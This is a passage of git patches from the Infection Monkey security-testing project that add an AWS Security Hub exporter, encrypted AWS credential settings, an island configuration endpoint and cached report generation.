telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b9fdf89e7..7f4864e60 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -548,6 +548,10 @@ class ReportService: logger.info('Domain issues generated for reporting') return domain_issues_dict + @staticmethod + def get_machine_aws_instance_id(hostname): + return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + @staticmethod def get_issues(): ISSUE_GENERATORS = [ @@ -564,8 +568,11 @@ class ReportService: for issue in issues: if issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in issues_dict: issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id issues_dict[machine].append(issue) logger.info('Issues generated for reporting') return issues_dict From 4cc85448d7d8c7769b9a4ae4b3dab14335b04ef2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 14:01:46 +0200 Subject: [PATCH 19/71] * add instance id to domain issues too --- monkey/monkey_island/cc/services/report.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 7f4864e60..a75fdb7dd 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -542,8 +542,11 @@ class ReportService: for issue in issues: if not issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id domain_issues_dict[machine].append(issue) logger.info('Domain issues generated for reporting') return domain_issues_dict From 984a64561e305e3c27aea9d5a801371f500647ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 15:04:25 +0200 Subject: [PATCH 20/71] * a small fixup --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 6 +++--- monkey/monkey_island/cc/services/report.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 6fc8f06f8..ab911a119 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b5ef28f65..52bafa36f 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -645,10 +645,10 @@ SCHEMA = { 'type': 'object', 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', 'properties': { - 'iam_role_id': { - 'title': 'IAM role ID', + 'aws_account_id': { + 'title': 'AWS account ID', 'type': 'string', - 'description': '' + 'description': 'Your AWS account ID that is subscribed to security hub feeds' }, 'aws_access_key_id': { 'title': 'AWS access key ID', diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a75fdb7dd..a002235a0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) @staticmethod def get_issues(): @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if load_env_from_file() == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From 8eca2ca1e91e60ab2c955342848862e82717b11a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 10:28:41 +0200 Subject: [PATCH 21/71] * Exceptions handling for sending findings --- monkey/monkey_island/cc/resources/aws_exporter.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 3f138e688..c2082629c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,11 +77,15 @@ class AWSExporter(Exporter): securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) - import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: - return True - else: + try: + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + except Exception as e: + logger.error('AWS security hub findings failed to send.') return False @staticmethod From c47572cd532bcd55cc5b4b111c5a13882f174b18 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 11:08:43 +0200 Subject: [PATCH 22/71] * Added another configuration endpoint for the island specific fields --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/island_configuration.py | 24 +++++++++++++++++++ monkey/monkey_island/cc/services/config.py | 19 ++++++++------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 4 files changed, 37 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/island_configuration.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a9682cc90..5bb94b611 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -18,6 +18,7 @@ from cc.resources.log import Log from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration +from cc.resources.island_configuration import IslandConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.node import Node @@ -104,6 +105,7 @@ def init_app(mongo_url): api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') + api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py new file mode 100644 index 000000000..57fda34fe --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -0,0 +1,24 @@ +import json + +import flask_restful +from flask import request, jsonify, abort + +from cc.auth import jwt_required +from cc.services.config import ConfigService + + +class IslandConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True)) + + @jwt_required() + def post(self): + config_json = json.loads(request.data) + if 'reset' in config_json: + ConfigService.reset_config() + else: + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) + return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1fb26cb1c..2058a61dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -648,17 +648,20 @@ SCHEMA = { 'aws_account_id': { 'title': 'AWS account ID', 'type': 'string', - 'description': 'Your AWS account ID that is subscribed to security hub feeds' + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': " " }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', - 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': " " }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', - 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': " " } } } @@ -897,16 +900,14 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'], - # ['cnc', 'aws_config', 'iam_role_id'], - # ['cnc', 'aws_config', 'aws_access_key_id'], - # ['cnc', 'aws_config', 'aws_secret_access_key'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key'] ] @@ -931,7 +932,7 @@ class ConfigService: if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config['cnc'].pop('aws_config', None) + config.get('cnc', {}).pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..6cc7e009a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -24,7 +24,7 @@ class ConfigurePageComponent extends AuthComponent { } componentDidMount() { - this.authFetch('/api/configuration') + this.authFetch('/api/configuration/island') .then(res => res.json()) .then(res => { let sections = []; From 673605b72181b7cc2611cd72dd30012a394fcb18 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:13:50 +0200 Subject: [PATCH 23/71] * Added aws region getter * Moved productARN to server_config.json file --- monkey/monkey_island/cc/environment/aws.py | 4 ++++ monkey/monkey_island/cc/environment/environment.py | 9 ++++++--- monkey/monkey_island/cc/resources/aws_exporter.py | 7 +++++-- monkey/monkey_island/cc/server_config.json | 5 ++++- 4 files changed, 19 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index b85a7d2e4..2a57f1cb7 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -15,6 +15,10 @@ class AwsEnvironment(Environment): def _get_instance_id(): return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + @staticmethod + def _get_region(): + return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def is_auth_enabled(self): return True diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 70fc025c3..c15e70257 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -14,13 +14,16 @@ ENV_DICT = { } -def load_env_from_file(): +def load_server_configuration_from_file(): with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() - config_json = json.loads(config_content) - return config_json['server_config'] + return json.loads(config_content) +def load_env_from_file(): + config_json = load_server_configuration_from_file() + return config_json['server_config'] + try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index c2082629c..480743026 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -5,6 +5,7 @@ import boto3 from cc.resources.exporter import Exporter from cc.services.config import ConfigService +from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) @@ -57,10 +58,12 @@ class AWSExporter(Exporter): 'shared_passwords': AWSExporter._handle_shared_passwords_issue, } + product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, - "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": "324264561773", "Types": [ @@ -308,4 +311,4 @@ class AWSExporter(Exporter): "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) } } - return finding + return finding \ No newline at end of file diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..4d8644cbb 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,6 @@ { - "server_config": "standard" + "server_config": "standard", + "aws": { + "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + } } \ No newline at end of file From c888ab7bc998c740953b65165435621f1753c9b4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 19 Nov 2018 15:40:16 +0200 Subject: [PATCH 24/71] adding the exporter father class and aws implement --- monkey/monkey_island/cc/resources/aws_exporter.py | 9 +++++++++ monkey/monkey_island/cc/resources/exporter.py | 9 +++++++++ 2 files changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/aws_exporter.py create mode 100644 monkey/monkey_island/cc/resources/exporter.py diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py new file mode 100644 index 000000000..cca47d968 --- /dev/null +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -0,0 +1,9 @@ +from exporter import Exporter + +class AWSExporter(Exporter): + + def __init__(self): + Exporter.__init__(self) + + def handle_report(self, report_json): + pass \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py new file mode 100644 index 000000000..98f3e7662 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -0,0 +1,9 @@ + + +class Exporter: + + def __init__(self): + pass + + def handle_report(self, report_json): + raise NotImplementedError From 148ee3f0f0afc0ec42aceebf41582ad64d1edb7a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 12:39:47 +0200 Subject: [PATCH 25/71] * Added env' config * Added exporters and aws exporter * changed report generation to be automatic on monkey death with support of on-demand report generation and mongo storage --- .../cc/environment/environment.py | 2 + .../cc/resources/aws_exporter.py | 294 +++++++++++++++++- monkey/monkey_island/cc/resources/exporter.py | 4 +- monkey/monkey_island/cc/resources/root.py | 2 + monkey/monkey_island/cc/services/node.py | 4 + monkey/monkey_island/cc/services/report.py | 62 +++- monkey/monkey_island/requirements.txt | 1 + 7 files changed, 345 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 9e89208ef..70fc025c3 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -5,6 +5,8 @@ import aws logger = logging.getLogger(__name__) +AWS = 'aws' +STANDARD = 'standard' ENV_DICT = { 'standard': standard.StandardEnvironment, diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index cca47d968..363114948 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -1,9 +1,293 @@ -from exporter import Exporter +import logging +import uuid +from datetime import datetime +import boto3 + +from cc.resources.exporter import Exporter + +logger = logging.getLogger(__name__) + class AWSExporter(Exporter): - def __init__(self): - Exporter.__init__(self) + @staticmethod + def handle_report(report_json): - def handle_report(self, report_json): - pass \ No newline at end of file + findings_list = [] + issues_list = report_json['recommendations']['issues'] + for machine in issues_list: + for issue in issues_list[machine]: + findings_list.append(AWSExporter._prepare_finding(issue)) + + if not AWSExporter._send_findings(findings_list): + logger.error('Exporting findings to aws failed') + return False + + return True + + @staticmethod + def merge_two_dicts(x, y): + z = x.copy() # start with x's keys and values + z.update(y) # modifies z with y's keys and values & returns None + return z + + @staticmethod + def _prepare_finding(issue): + findings_dict = { + 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, + 'ssh': AWSExporter._handle_ssh_issue, + 'shellshock': AWSExporter._handle_shellshock_issue, + 'tunnel': AWSExporter._handle_tunnel_issue, + 'elastic': AWSExporter._handle_elastic_issue, + 'smb_password': AWSExporter._handle_smb_password_issue, + 'smb_pth': AWSExporter._handle_smb_pth_issue, + 'sambacry': AWSExporter._handle_sambacry_issue, + 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + } + + finding = { + "SchemaVersion": "2018-10-08", + "Id": uuid.uuid4().hex, + "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "GeneratorId": issue['type'], + "AwsAccountId": "324264561773", + "Types": [ + "Software and Configuration Checks/Vulnerabilities/CVE" + ], + "CreatedAt": datetime.now().isoformat() + 'Z', + "UpdatedAt": datetime.now().isoformat() + 'Z', + } + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + + @staticmethod + def _send_findings(findings_list): + + securityhub = boto3.client('securityhub') + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + + @staticmethod + def _handle_tunnel_issue(issue): + finding =\ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['dest'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." + finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." + finding["Remediation"] = { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + } + return finding + + @staticmethod + def _handle_sambacry_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": str(issue['ip_address']) + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" + finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ + .format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_smb_pth_issue(issue): + finding = \ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_ssh_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_elastic_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" + finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) + } + } + return finding + + @staticmethod + def _handle_island_cross_segment_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['networks'][0][:-2] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." + finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." + finding["Remediation"] = { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ + {0} in the networks {1} \ + could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], + issue['networks'], + issue['server_networks']) + } + } + return finding + + @staticmethod + def _handle_shared_passwords_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": '10.0.0.1' + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Multiple users have the same password" + finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." + finding["Remediation"] = { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + } + return finding + + @staticmethod + def _handle_shellshock_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are vulnerable to 'Shellshock'" + finding["Description"] = "Update your Bash to a ShellShock-patched version." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + } + return finding + + @staticmethod + def _handle_smb_password_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 98f3e7662..1cf0c1b10 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,9 +1,9 @@ - class Exporter: def __init__(self): pass - def handle_report(self, report_json): + @staticmethod + def handle_report(report_json): raise NotImplementedError diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1d9141589..10e8f5170 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -65,5 +65,7 @@ class Root(flask_restful.Resource): if not infection_done: report_done = False else: + if is_any_exists: + ReportService.get_report() report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 072917974..1f9b68ebe 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -294,6 +294,10 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() + @staticmethod + def get_latest_modified_monkey(): + return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) + @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 38bf6fe79..1320facfe 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,6 +8,8 @@ from enum import Enum from six import text_type from cc.database import mongo +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -123,9 +125,9 @@ class ReportService: 'label': node['label'], 'ip_addresses': node['ip_addresses'], 'accessible_from_nodes': - (x['hostname'] for x in + list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'] }) @@ -659,26 +661,19 @@ class ReportService: @staticmethod def is_report_generated(): - generated_report = mongo.db.report.find_one({'name': 'generated_report'}) + generated_report = mongo.db.report.find_one({}) if generated_report is None: return False - return generated_report['value'] + return True @staticmethod - def set_report_generated(): - mongo.db.report.update( - {'name': 'generated_report'}, - {'$set': {'value': True}}, - upsert=True) - logger.info("Report marked as generated.") - - @staticmethod - def get_report(): + def generate_report(): domain_issues = ReportService.get_domain_issues() issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() + monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] report = \ { @@ -710,17 +705,50 @@ class ReportService: { 'issues': issues, 'domain_issues': domain_issues + }, + 'meta': + { + 'latest_monkey_modifytime': monkey_latest_modify_time } } - - finished_run = NodeService.is_monkey_finished_running() - if finished_run: - ReportService.set_report_generated() + ReportService.export_to_exporters(report) + mongo.db.report.drop() + mongo.db.report.insert_one(report) return report + @staticmethod + def is_latest_report_exists(): + latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + + if latest_report_doc: + report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + return report_latest_modifytime == latest_monkey_modifytime + + return False + + @staticmethod + def get_report(): + if ReportService.is_latest_report_exists(): + return mongo.db.report.find_one() + return ReportService.generate_report() + @staticmethod def did_exploit_type_succeed(exploit_type): return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 + + @staticmethod + def get_active_exporters(): + # This function should be in another module in charge of building a list of active exporters + exporters_list = [] + if load_env_from_file() == AWS: + exporters_list.append(AWSExporter) + return exporters_list + + @staticmethod + def export_to_exporters(report): + for exporter in ReportService.get_active_exporters(): + exporter.handle_report(report) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 29c364c9f..f094df947 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,3 +14,4 @@ netifaces ipaddress enum34 PyCrypto +boto3 \ No newline at end of file From dd5bbdec35166f7db840848786c63f9465808102 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 14:17:20 +0200 Subject: [PATCH 26/71] * encrypted config --- monkey/monkey_island/cc/services/config.py | 37 ++++++++++++++++++- .../ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1b2966026..3c61a89a3 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -862,7 +862,37 @@ SCHEMA = { } } } - } + }, + 'island_configuration': { + 'title': 'Island Configuration', + 'type': 'object', + 'properties': + { + 'aws_config': + { + 'title': 'AWS Configuration', + 'type': 'object', + 'properties': + { + 'iam_role_id': + { + 'title': 'IAM role ID', + 'type': 'string' + }, + 'aws_access_key': + { + 'title': 'AWS access key ID', + 'type': 'string' + }, + 'aws_secret_access_key': + { + 'title': 'AWS Secret Access Key', + 'type': 'string' + } + } + } + } + } }, "options": { "collapsed": True @@ -875,7 +905,10 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + ['internal', 'exploits', 'exploit_ssh_keys'], + ['island_configuration', 'aws_config', 'iam_role_id'], + ['island_configuration', 'aws_config', 'aws_access_key'], + ['island_configuration', 'aws_config', 'aws_secret_access_key'], ] # This should be used for config values of string type diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..7e08170e2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 